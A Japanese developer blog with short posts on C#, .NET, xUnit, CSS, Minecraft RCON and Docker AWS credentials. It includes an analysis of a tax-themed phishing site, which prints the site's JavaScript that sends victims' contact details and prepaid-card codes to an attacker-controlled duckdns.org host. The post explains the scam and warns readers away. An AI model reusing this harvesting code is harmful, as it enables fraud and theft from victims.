ひでぼ~blog

C#ときどきゲーム

CSSの三角関数を試す

CSSでサイン、コサイン、タンジェントが使えるようになると聞いたので試してみました。 現時点ではまだ一部のブラウザしか対応していないようです。今回はFireFoxを使います。

caniuse.com

次のようなHTMLを書いてみました。ボックスの中にボールが3つ縦に並べたものです。

<div id="box">
    <div class="ball" id="ball1"></div>
    <div class="ball" id="ball2"></div>
    <div class="ball" id="ball3"></div>
</div>

これにJavaScriptでスタイルをセットします。

let degree = 0;
const balls = document.querySelectorAll(".ball");
balls.forEach((ball, index) => {
    setInterval(() => {
        degree += 1;
        ball.style.marginLeft = `calc(50% * sin(${degree}deg) + 50%)`;
    }, 10);
});

ボールのmarginLeftをsin()で計算して変化させます。 ボールに動きを付けた結果このような動きになりました。

ASP.NET Core 7のIParsableを試す

ASP.NET Core 7から使えるようになったIParsableを使ってモデルバインドをしてみます。

やること

コントローラのアクションで、"2022/12/31,2023/01/01"のような文字列をDateRangeという日付の区間を表すクラスにバインドして受け取れるようにしてみます。

// string => DateRangeにバインドする
[HttpGet("DateRange")]
public IActionResult GetDateRange([FromQuery] DateRange dateRange)
{
    var from = dateRange.From;
    var to = dateRange.To;

    return Ok();
}

モデルの準備

次のようなIParsable<T>を実装したDateRangeというクラスを作ります。IParsable<T>はParseとTryParseの実装が必要になり、リクエストパラメータの文字列をアクションの引数にバインドする際にこのParseが呼ばれるようになります。 Parseの中で呼ばれるTryParseでは、"2022/12/31,2023/01/01"のようなカンマ区切りの文字列を分割して、それぞれ文字列からDateOnlyにParseしてToとFromに代入するするものになっています。

public class DateRange : IParsable<DateRange>
{
    public DateOnly? From { get; init; }
    public DateOnly? To { get; init; }

    public static DateRange Parse(string value, IFormatProvider? provider)
    {
        if (!TryParse(value, provider, out var result))
        {
            throw new ArgumentException("Could not parse supplied value.", nameof(value));
        }

        return result;
    }

    public static bool TryParse(string? value, IFormatProvider? provider, out DateRange dateRange)
    {
        var segments = value?.Split(',', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries);

        if (segments?.Length == 2
            && DateOnly.TryParse(segments[0], provider, out var fromDate)
            && DateOnly.TryParse(segments[1], provider, out var toDate))
        {
            dateRange = new DateRange { From = fromDate, To = toDate };
            return true;
        }

        dateRange = new DateRange { From = default, To = default };
        return false;
    }
}

デバッグ実行してみる

エンドポイントのURL(https://localhost:7014/sample/daterange?daterange=2022/12/31,2023/01/01)を叩いてみるとばっちりバインドされていました。

参考

learn.microsoft.com

xUnit.netのTheoryDataを試す

xUnit.netのTheoryDataを使ってテストコードを書いてみます。

実行環境

このような名前と年齢を結合した文字列を返すメソッドのテストコードを書いてみます。

public string GetFullNameWithAge(string lastName, string firstName, int age)
    => $"{lastName} {firstName} ({age})";

TheoryDataを使わない場合

InlineData属性を使ってテストメソッドを書くとこんな感じです。

[Theory]
[InlineData("乙骨", "憂太", 17, "乙骨 憂太 (17)")]
[InlineData("禪院", "真希", 16, "禪院 真希 (16)")]
public void GetFullNameWithAgeTest(string lastName, string firstName, int age, string expected)
{
    var result = GetFullNameWithAge(lastName, firstName, age);

    Assert.Equal(expected, result);
}

また、MemberData属性を使った場合はテストデータ用のメソッドを追加してこのようになります。

public static IEnumerable<object[]> TestData()
{
    yield return new object[] { "乙骨", "憂太", 17, "乙骨 憂太 (17)" };
    yield return new object[] { "禪院", "真希", 16, "禪院 真希 (16)" };
}

[Theory]
[MemberData(nameof(TestData))]
public void GetFullNameWithAgeTest(string lastName, string firstName, int age, string expected)
{
    var result = GetFullNameWithAge(lastName, firstName, age);
    Assert.Equal(expected, result);
}

MemberDataを使う場合、InlineDataではできない少し複雑な引数を入力値として渡すことができるようになります。 例えばInlineDataの引数にはnew DataTime()のようなオブジェクトを渡せませんが、MemberDataではそれが可能です。 MemberDataを使えばすべてOKという感じでしたが、型がobject[]のため、テストメソッドの引数の型と一致しなかった場合に実行時エラーになります。

TheoryDataを使った場合

そこで型を指定できるようになったものがTheoryDataになります。 TheoryData<T1, T2, ...>という型を返すテストデータを定義してMemberData属性に渡します。

public static TheoryData<string, string, int, string> TestTheoryData() => new()
{
    { "乙骨", "憂太", 17, "乙骨 憂太 (17)" },
    { "禪院", "真希", 16, "禪院 真希 (16)" },
};

[Theory]
[MemberData(nameof(TestTheoryData))]
public void GetFullNameWithAgeTest(string lastName, string firstName, int age, string expected)
{
    var result = GetFullNameWithAge(lastName, firstName, age);
    Assert.Equal(expected, result);
}

TheoryDataを使うとobject[]として渡していたものがちゃんと型を明示するようになっているため、コンパイル時にエラーに気づくことができます。

参考

www.thomasbogholm.net

税金の支払いを催促する詐欺サイトのソースコードを読んでみる

国税庁になりすまして税金の支払いをさせようとするSMSが届いたのでURLを開いてサイトのソースコードを読んでみました。

www.ipa.go.jp

とりあえずサイトにアクセスしてみる

PCからGoogle Chromeのシークレットモードでサイトにアクセスしてみます。 PCでアクセスした場合は404 NotFoundとだけ表示されました。なので、Dev Toolsで疑似的にiPhone SEにデバイスを変更してみたところ問題のサイトが表示されました。

最終差押通知というタイトルのダイアログが表示されました。怖いですね。

何か怪しい処理をやってるところが無いかなと見ていましたが、最初の画面には特になさそうでした。 唯一書かれていたjsは次のようなものでした。

var myDate = new Date();
var year = myDate.getFullYear();
var month = myDate.getMonth() + 1;
var day = myDate.getDate();
$("#time1").html("納付期限: " + year + "/" + month + "/" + day);
$("#time2").html("最終期限: " + year + "/" + month + "/" + day + " (支払期日の延長不可)");
function reg() {
  document.location.href = "./step2.html";
}

納付期限と最終期限に今日の日付を表示するようにしています。 DOMの操作にはjQueryを使っていますね。 reg()という関数は次へボタンを押したときに呼ばれるようになっていました。 次へを押して次に進んでみます。

個人情報の入力フォーム

メールアドレス、電話番号、名前、支払い方法を入力する画面が表示されました。

このページでは次のような処理が行われていました。

function randomString(len) {
  len = len || 32;
  var chars = 'ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz1234567890';
  var maxPos = chars.length;
  var rand = '';
  for (i = 0; i < len; i++) {
    rand += chars.charAt(Math.floor(Math.random() * maxPos));
  }
  return rand;
}

$.cookie("sessionid", randomString(32));

32文字のランダムな文字列を作ってクッキーにsessionIdというキーで保存しています。 この後のPOST処理でクッキーが送信されるので何かセッション管理をしているのかな?という印象です。

バリデーションは次のように空文字列かどうかを検証していました。reg()はさきほどと同じ次へボタンを押したときに呼ばれる関数です。 バリデーションが問題なければサーバに入力値をPOSTし、成功すれば次のページへ移動するようです。

function reg() {
  if ($("#email").val() == "") {
    $("#email").focus();
    alert("入力してください。");
    return;
  }
  if ($("#tel").val() == "") {
    $("#tel").focus();
    alert("入力してください。");
    return;
  }
  if ($("#username").val() == "") {
    $("#username").focus();
    alert("入力してください。");
    return;
  }
  var email = $("#email").val();
  var tel = $("#tel").val();
  var username = $("#username").val();

  $.post("https://ccndhglutt.duckdns.org/putinfo", {
    Origin: "GSVK",
    Page: "1",
    Val1: email,
    Val2: tel,
    Val3: username
  }, function (data) {
    if (data.Code == 1 && data.Message == "success") {
      document.location.href = "https://ccndhglutt.duckdns.org/";

    } else {
      document.location.reload();
    }
  });
}

バリデーションが緩かったので適当な値をいれて次のページに進んでみます。支払い方法はプリペイドカードを選択しました。

Vプリカ発行コードの入力

Vプリカ発行コード(プリペイドカード番号)を入力する画面が表示されました。

Vプリカ発行コードのバリデーションはこのようになっていました。さきほどの個人情報のバリデーションと比べるとかなりちゃんとしていました。 1番重要なところだからでしょうか。

$("#sures-btn").click(function () {
  var number1 = $("#number_one").val();
  var number2 = $("#number_repeat").val();
  var input_id = $("#number_one").attr("data-id");

  var patt = /[a-zA-Z0-9]{15}/

  if (!patt.test(number1)) {

    alert("発行コード番号が一致しませんでした。もう一度お試しください。");
    return false;
  }

  if (number1 == "" || number2 == "") {
    alert("発行コード番号を入力してください。");
    return false;
  }

  if (number1 != number2) {
    alert("発行コード番号が一致しませんでした。もう一度お試しください。");
    return false;
  }

  if (!hasCapital(number1)) {
    alert("正しいコードを入力してください。全角・半角・大文字・小文字を厳密に判定しております。");
    return false;
  }

Vプリカ発行コードは次のような仕様のようです。

  • 15桁の英数字
  • 大文字を含む(hasCapital()でチェック)

次へボタンを押したときに呼ばれる関数は次のようになっていました。

function submit() {
  var value = "";
  var pic = "";
  var str = "";
  var user = $.cookie("username");
  for (let i = 1; i <= 40; i++) {
    if (i < 10) {
      value = "#number0" + i.toString();
      pic = "#price0" + i.toString();
    } else {
      value = "#number" + i.toString();
      pic = "#price" + i.toString();
    }
    if ($(value).val().toUpperCase() == "123456789ABCDEF") {
      alert("入力に誤りがあります。");
      location.reload();
      return;
    }
    if ($(value).val() != "" && $(pic).val() != "") {
      str += $(value).val() + "-" + $(pic).val() + "|";
    }
  }
  if (str == "") {
    alert("入力に誤りがあります。");
    location.reload();
    return;
  }
  if (str[0] == "d" || str[0] == "D") {
    if (str[1] == "8") {
      $("#d8err").show();
      for (let i = 1; i <= 40; i++) {
        if (i < 10) {
          value = "#number0" + i.toString();
          pic = "#price0" + i.toString();
        } else {
          value = "#number" + i.toString();
          pic = "#price" + i.toString();
        }
        $(value).val("");
        $(pic).val("");

      }
      $(".saiAlert").show();
      $("[name='submitConfirm']").prop('disabled', true);
      return;
    }

  }

  $("#wait").mask("サーバーに接続中です。,<br>このまましばらくお待ちください...<br>ブラウザを戻ったり、閉じないでください。");
  $.post("/putcard", {
    Origin: "Auorder",
    Page: "1",
    Val1: str,
    Val2: user,
  }, function (data) {
    if (data.Code == 1 && data.Message == "success") {
      document.location.href = "/563220173";
    }
  });
}

1~40までループして取得しているのは、Vプリカ発行コードが最大で40個まで入力できるため、入力したコードと値段を1つずつ取得しているようです。 1~10までとそれ以降で条件分岐しているところが微笑ましいですね。 そのあと再度バリデーションを挟んで、入力値をサーバにPOSTしています。成功したら次のページに遷移するようです。 今回はここで次のページに進むのをやめました。

まとめ

詐欺サイトのソースコードを読んでみました。静的HTMLのサイトで要所でjQueryを使った処理が書かれているという感じでした。 Vプリカ発行コードを集めることがこの詐欺サイトの目的のようです。それ以外のヤバそうな攻撃(CSRF、クリックジャッキングなど)はぱっと見では確認できませんでした。 ですが、SMS等で届いた怪しいURLに安易にアクセスするのは危険なので絶対にやめましょう。

C#11のrequiredメンバーを試す

.NET7のRC版がリリースされてC#11を試せるようになったみたいなので新しく使えるようになったrequiredメンバーを触ってみます。

準備

.NET 7をインストールしておきます。この記事を書いてる時点では7.0.100-rc.1というバージョンでした。

dotnet.microsoft.com

VS2022でコンソールアプリを作成し、ターゲットフレームワークを.NET 7にします。 csprojはこんな感じになります。 また、requiredメンバーの良さを実感するためにnull許容参照型を使うようにしています。

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net7.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|AnyCPU'">
    <LangVersion>preview</LangVersion>
  </PropertyGroup>

  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'">
    <LangVersion>preview</LangVersion>
  </PropertyGroup>

</Project>

クラスを準備する

こんなクラスを用意しました。

internal class Weapon
{
    public string Main { get; set; }

    public string Sub { get; set; }

    public string Special { get; set; }
}

ここで、null許容参照型のプロパティの初期化を行っていないためこのような警告が出ます。初期化をしろと怒られています。

コンストラクタを作成してプロパティを初期化したり、プロパティ初期化子(public string Main {get; set;} = null;)とかで初期化しておけば解決はできますがちょっとめんどいですね。 プロパティにrequiredというキーワードを付けるとこんな感じになります。

internal class Weapon
{
    public required string Main { get; set; }

    public required string Sub { get; set; }

    public required string Special { get; set; }
}

requiredと書いておくことでこのメンバーはオブジェクト初期化子で初期化しないといけなくなります。

// OK
var myWeapon1 = new Weapon
{
    Main = "カーボンローラー",
    Sub = "ロボットボム",
    Special = "ショクワンダー"
};

// Sub, Specialの初期化が足りてない
var myWeapon2 = new Weapon
{
    Main = "カーボンローラー",
};

// Main, Sub, Specialの初期化が足りてない
var myWeapon3 = new Weapon();

requiredを使うとオブジェクトをnewするときに必ずプロパティを初期化させるようにすることができました。

null許容参照型を使っているとクラス側で初期化が足りてないメンバーで警告が出ていましたがこれを回避できるようになったようです。良いですね。

MinecraftConnectionを試す

C#でマイクラがアツイという噂を聞いたので試してみます。

準備

サーバー

マインクラフトのサーバーをあらかじめ用意しておきます。 Dockerで動かすのが一番ラクそうだったのでこちらのDockerイメージを使ってサーバーを動かしました。

hub.docker.com

docker runする際に25565に加えて25575のポートも使えるようにしておきます。このポートはこの後つくるC#プログラムからマイクラサーバと通信するために使います。

docker run -e EULA=TRUE -d -p 25565:25565 -p 25575:25575 --name mc itzg/minecraft-server

クライアント

Minecraft Java Editionを使います。バージョンは1.92.2です。

ライブラリ

C#でマイクラサーバーをいじれるMinecraftConnectionというライブラリを使います。 Nugetパッケージが公開されているのでインストールしておきます。

www.nuget.org

その他

次のような環境でプログラムを書きます。

Hello Worldする

サーバーとの疎通確認も兼ねて、画面にHello World!と表示させてみます。passはRCON用のパスワードでserver.propertiesに記載があります。

using MinecraftConnection;

var address = "127.0.0.1";
ushort port = 25575;
var pass = "minecraft";
var command = new MinecraftCommands(address, port, pass);

command.DisplayTitle("Hello, Minecraft!");

大雨の中ですが表示できました。

花火を打ち上げてみる

花火を打ち上げるAPIがあったので打ち上げてみました。 打ち上げる位置はPositionというクラスにx, y, zの座標を渡してnewします。

using MinecraftConnection;
using MinecraftConnection.Entity;

var address = "127.0.0.1";
ushort port = 25575;
var pass = "minecraft";
var command = new MinecraftCommands(address, port, pass);

var position = new Position(-101.5, 66.0, -51.5);
var fireworks = new Fireworks()
{
    LifeTime = 30,
    Type = FireworkType.LargeBall,
    Colors = FireworkOption.RandomColor(),
    FadeColors = new List<FireworkColors> { FireworkColors.WHITE },
};

command.SetOffFireworks(position, fireworks);

花火が打ちあがりました。エモいですね。

Docker環境でC#プログラム実行時にローカルのAWS認証情報を渡す

AWS SDKAPIを使ってAWSのサービスを使う際、ユーザーのホームディレクトリにある.aws/credentialsを使って認証されますが、ローカルのDockerで実行時にはこれが無いためAPIの呼び出しに失敗します。 docker-compose.ymlで認証情報を共有できるようにします。

実行環境

docker-compose.ymlの作成

Visual Studioのソリューションエクスプローラーでプロジェクトを右クリックして追加→コンテナーオーケストレーターのサポートを選択します。

作成されたdocker-compose.ymlにvolumesを追加します。

version: '3.4'

services:
  containerdebugsample:
    image: ${DOCKER_REGISTRY-}containerdebugsample
    build:
      context: .
      dockerfile: ContainerDebugSample/Dockerfile
    volumes:
      - ~/.aws/:/root/.aws:ro

Docker Composeという起動プロファイルが自動的に追加されているので、このプロファイルでデバッグ実行します。

これでホストマシン上の~/.awsがコンテナ上の/roor/.awsにコピーされ、Dockerコンテナ上でアプリをデバッグ実行してもちゃんと認証が通りAWSのサービスが使えるようになります。

参考

qiita.com